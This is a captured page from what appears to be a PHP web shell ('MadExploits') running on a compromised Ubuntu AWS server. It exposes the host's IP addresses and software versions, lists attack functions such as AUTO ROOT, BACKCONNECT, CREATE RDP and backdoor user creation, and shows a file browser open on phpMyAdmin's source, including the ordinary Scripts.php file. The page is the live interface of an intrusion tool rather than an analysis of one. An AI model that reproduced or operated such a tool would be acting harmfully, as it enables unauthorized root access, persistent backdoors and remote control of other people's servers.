Linux ip-172-31-33-47 5.4.0-1045-aws #47~18.04.1-Ubuntu SMP Tue Apr 13 15:58:14 UTC 2021 x86_64
Apache/2.4.29 (Ubuntu)
: 172.31.33.47 | : 3.143.228.88
Cant Read [ /etc/named.conf ]
7.4.20
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
stage /
phpmyadmin /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
Advisory
[ DIR ]
drwxr-xr-x
Bookmarks
[ DIR ]
drwxr-xr-x
Charsets
[ DIR ]
drwxr-xr-x
Command
[ DIR ]
drwxr-xr-x
Config
[ DIR ]
drwxr-xr-x
ConfigStorage
[ DIR ]
drwxr-xr-x
Container
[ DIR ]
drwxr-xr-x
Controllers
[ DIR ]
drwxr-xr-x
Crypto
[ DIR ]
drwxr-xr-x
Database
[ DIR ]
drwxr-xr-x
Dbal
[ DIR ]
drwxr-xr-x
Display
[ DIR ]
drwxr-xr-x
Engines
[ DIR ]
drwxr-xr-x
Error
[ DIR ]
drwxr-xr-x
Exceptions
[ DIR ]
drwxr-xr-x
Export
[ DIR ]
drwxr-xr-x
Favorites
[ DIR ]
drwxr-xr-x
Gis
[ DIR ]
drwxr-xr-x
Html
[ DIR ]
drwxr-xr-x
Http
[ DIR ]
drwxr-xr-x
Identifiers
[ DIR ]
drwxr-xr-x
Image
[ DIR ]
drwxr-xr-x
Import
[ DIR ]
drwxr-xr-x
Navigation
[ DIR ]
drwxr-xr-x
Partitioning
[ DIR ]
drwxr-xr-x
Plugins
[ DIR ]
drwxr-xr-x
Properties
[ DIR ]
drwxr-xr-x
Providers
[ DIR ]
drwxr-xr-x
Query
[ DIR ]
drwxr-xr-x
Replication
[ DIR ]
drwxr-xr-x
Routing
[ DIR ]
drwxr-xr-x
Server
[ DIR ]
drwxr-xr-x
Setup
[ DIR ]
drwxr-xr-x
Table
[ DIR ]
drwxr-xr-x
Theme
[ DIR ]
drwxr-xr-x
Tracking
[ DIR ]
drwxr-xr-x
Triggers
[ DIR ]
drwxr-xr-x
Twig
[ DIR ]
drwxr-xr-x
Utils
[ DIR ]
drwxr-xr-x
WebAuthn
[ DIR ]
drwxr-xr-x
Cache.php
1.44
KB
-rw-r--r--
Charsets.php
7.08
KB
-rw-r--r--
Core.php
22.22
KB
-rw-r--r--
Current.php
228
B
-rw-r--r--
DatabaseInterface.php
66.01
KB
-rw-r--r--
DbTableExists.php
1.4
KB
-rw-r--r--
EditField.php
495
B
-rw-r--r--
Encoding.php
7.97
KB
-rw-r--r--
FieldMetadata.php
10.64
KB
-rw-r--r--
File.php
19.72
KB
-rw-r--r--
FlashMessages.php
1.23
KB
-rw-r--r--
Git.php
18.5
KB
-rw-r--r--
Header.php
19.81
KB
-rw-r--r--
IndexColumn.php
4.7
KB
-rw-r--r--
InsertEdit.php
73.25
KB
-rw-r--r--
InsertEditColumn.php
1.96
KB
-rw-r--r--
IpAllowDeny.php
9
KB
-rw-r--r--
Menu.php
19.9
KB
-rw-r--r--
Message.php
14.58
KB
-rw-r--r--
Mime.php
893
B
-rw-r--r--
OpenDocument.php
8.78
KB
-rw-r--r--
Plugins.php
22.28
KB
-rw-r--r--
Release.php
298
B
-rw-r--r--
ResponseRenderer.php
13.03
KB
-rw-r--r--
Scripts.php
3.7
KB
-rw-r--r--
Sql.php
60.06
KB
-rw-r--r--
StorageEngine.php
15.08
KB
-rw-r--r--
SystemDatabase.php
4.62
KB
-rw-r--r--
Template.php
3.98
KB
-rw-r--r--
Transformations.php
17.2
KB
-rw-r--r--
TwoFactor.php
7.61
KB
-rw-r--r--
UniqueCondition.php
8.26
KB
-rw-r--r--
Url.php
10.54
KB
-rw-r--r--
UrlRedirector.php
1.43
KB
-rw-r--r--
Util.php
68.74
KB
-rw-r--r--
Version.php
554
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Scripts.php
<?php declare(strict_types=1); namespace PhpMyAdmin; use function array_key_exists; use function defined; use function md5; use function str_contains; /** * Collects information about which JavaScript * files and objects are necessary to render * the page and generates the relevant code. */ class Scripts { /** * An array of SCRIPT tags * * @var array<string, array<string, int|string|array<string, string>>> * @psalm-var array<string, array{has_onload: 0|1, filename: non-empty-string, params: array<string, string>}> */ private array $files = []; /** * A string of discrete javascript code snippets */ private string $code = ''; /** * Generates new Scripts objects */ public function __construct(private readonly Template $template) { } /** * Adds a new file to the list of scripts * * @param string $filename The name of the file to include * @param array<string, string> $params Additional parameters to pass to the file */ public function addFile( string $filename, array $params = [], ): void { $hash = md5($filename); if (array_key_exists($hash, $this->files) || $filename === '') { return; } $hasOnload = $this->hasOnloadEvent($filename); $this->files[$hash] = ['has_onload' => (int) $hasOnload, 'filename' => $filename, 'params' => $params]; } /** * Add new files to the list of scripts * * @param string[] $filelist The array of file names */ public function addFiles(array $filelist): void { foreach ($filelist as $filename) { $this->addFile($filename); } } /** * Determines whether to fire up an onload event for a file * * @param string $filename The name of the file to be checked against the exclude list. * * @return bool true to fire up the event, false not to */ private function hasOnloadEvent(string $filename): bool { return ! str_contains($filename, 'vendor') && ! str_contains($filename, 'runtime.js') && ! str_contains($filename, 'name-conflict-fixes.js') && ! str_contains($filename, 'index.php') && ! str_contains($filename, 'shared.js') && ! str_contains($filename, 'datetimepicker.js') && ! str_contains($filename, 'validator-messages.js'); } /** * Adds a new code snippet to the code to be executed * * @param string $code The JS code to be added */ public function addCode(string $code): void { $this->code .= $code . "\n"; } /** * Returns a list with filenames and a flag to indicate * whether to register onload events for this file * * @return array<int, array<string, int|string>> * @psalm-return list<array{name: non-empty-string, fire: 0|1}> */ public function getFiles(): array { $retval = []; foreach ($this->files as $file) { //If filename contains a "?", continue. if (str_contains($file['filename'], '?')) { continue; } $retval[] = ['name' => $file['filename'], 'fire' => $file['has_onload']]; } return $retval; } /** * Renders all the JavaScript file inclusions, code and events */ public function getDisplay(): string { $baseDir = defined('PMA_PATH_TO_BASEDIR') ? PMA_PATH_TO_BASEDIR : ''; return $this->template->render('scripts', [ 'base_dir' => $baseDir, 'files' => $this->files, 'version' => Version::VERSION, 'code' => $this->code, ]); } }
Close